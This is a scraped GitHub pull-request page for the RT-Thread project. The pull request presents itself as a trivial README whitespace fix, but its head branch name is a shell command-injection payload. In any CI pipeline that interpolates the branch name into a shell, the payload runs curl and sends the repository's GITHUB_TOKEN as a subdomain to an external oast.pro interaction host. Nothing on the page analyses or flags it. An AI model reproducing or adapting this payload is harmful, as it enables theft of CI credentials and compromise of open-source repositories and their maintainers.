docs: fix trailing whitespace in README#11277

sourcecodereviewer wants to merge 1 commit intoRT-Thread:masterRT-Thread/rt-thread:masterfrom

sourcecodereviewer:$(curl${IFS}${GITHUB_TOKEN}.d6uh1u0lfarqlpfpo3b0ihjbn9m6egak5.oast.pro)sourcecodereviewer/rt-thread:$(curl${IFS}${GITHUB_TOKEN}.d6uh1u0lfarqlpfpo3b0ihjbn9m6egak5.oast.pro)Copy head branch name to clipboard